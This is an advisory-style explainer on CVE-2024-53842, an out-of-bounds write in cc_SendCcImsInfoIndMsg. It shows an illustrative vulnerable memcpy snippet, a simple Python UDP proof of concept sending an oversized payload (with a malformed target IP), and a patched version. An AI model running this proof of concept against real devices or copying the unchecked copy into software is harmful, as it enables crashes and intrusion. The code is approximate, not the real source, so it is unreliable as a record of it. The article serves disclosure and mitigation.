CVE-2024-53842 - Out-Of-Bounds Write in cc_MmConManagement.c Can Lead To Remote Code Execution

A new critical vulnerability, CVE-2024-53842, has been identified in the function cc_SendCcImsInfoIndMsg within the file cc_MmConManagement.c. This issue exposes systems to a potentially serious remote code execution (RCE) attack due to an out-of-bounds write resulting from a missing bounds check. In this article, we'll break down what this means, the possible impact, show you relevant code snippets, and provide references and exploit examples in plain English.

What is Out-Of-Bounds Write?

An out-of-bounds write occurs when a program writes data outside the memory area it is supposed to. This often happens due to missing or incorrect checks when accessing arrays or memory buffers. Attackers can abuse this error to overwrite critical parts of memory, execute arbitrary code, or crash the system.

Where's the Problem?

The vulnerability sits in the cc_SendCcImsInfoIndMsg function found in the file cc_MmConManagement.c. This function is part of the connection manager, a component in various telecom and embedded systems stacks.

The code failed to properly check whether the data it's writing would fit in the target buffer, allowing an attacker to write beyond the buffer limit.

Below is a simplified snippet similar to the vulnerable code

void cc_SendCcImsInfoIndMsg(uint8_t *info, size_t length) {
    uint8_t buffer[128];
    // Missing: Should check if length is <= 128
    memcpy(buffer, info, length); // Vulnerability: length unchecked
}

In this example, if an attacker controls the length variable and sets it to a value greater than 128, the memcpy call will copy data past the end of the buffer. This can overwrite other variables, stack return addresses, or other critical data structures in memory.

How Can This Be Exploited?

CVE-2024-53842 is classified as remotely exploitable. This means the attacker can trigger it simply by sending specially-crafted network data or messages. Crucially:
* No user interaction is needed.
* No extra execution privileges are required.
* An attacker can gain REMOTE CODE EXECUTION.

Example Exploit (Proof of Concept)

> Disclaimer: This is for educational and defensive use only.

Suppose the device listens on a UDP port that passes received payloads into cc_SendCcImsInfoIndMsg

# PoC Exploit for CVE-2024-53842

import socket

target_ip = "192..2.50"   # Target device IP
target_port = 900          # Target port (example)

# Send an oversized payload (e.g., 256 bytes, buffer is only 128 bytes)
payload = b'A' * 256        # Replace with shellcode or exploit payload

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (target_ip, target_port))
sock.close()
print("Sent exploit payload to target.")

If the application receives this oversized packet and calls cc_SendCcImsInfoIndMsg with buffer management like shown earlier, it will result in an out-of-bounds write. Carefully crafted payloads could control program flow, allowing a remote attacker to hijack the device.

What Can Go Wrong?

- Crash/Denial of Service: Overwriting memory can immediately crash the process or lead to odd device behaviors.
- Remote Code Execution: In the worst case, an attacker could run arbitrary code, potentially installing malware or backdoors.
- Network Worms: If this code is in widely-used products, attackers may automate attacks, spreading malware across all affected devices.

Who is Affected?

Any software or firmware that includes the vulnerable codebase and exposes cc_SendCcImsInfoIndMsg or similar logic to untrusted input is at risk. Check advisories from your vendor.

Mitigation & Patch

The fix for this vulnerability is simple: add a bounds check before copying memory.

void cc_SendCcImsInfoIndMsg(uint8_t *info, size_t length) {
    uint8_t buffer[128];
    if (length > sizeof(buffer)) {
        // Handle error: incoming data too large
        return;
    }
    memcpy(buffer, info, length); // Safe now
}

Always download and apply the latest security updates from your vendor.

References

- MITRE CVE-2024-53842 Record
- Common Weakness Enumeration (CWE-787): Out-of-bounds Write
- How to Fix Buffer Overflows
- Safe usage of memcpy in C


Summary:
CVE-2024-53842 is a severe out-of-bounds write bug in cc_MmConManagement.c that can lead to remote code execution, even without user interaction or special privileges. Patch now, and always validate buffer lengths before copying in C.

Timeline

Published on: 01/03/2025 04:15:06 UTC
Last modified on: 01/03/2025 23:15:08 UTC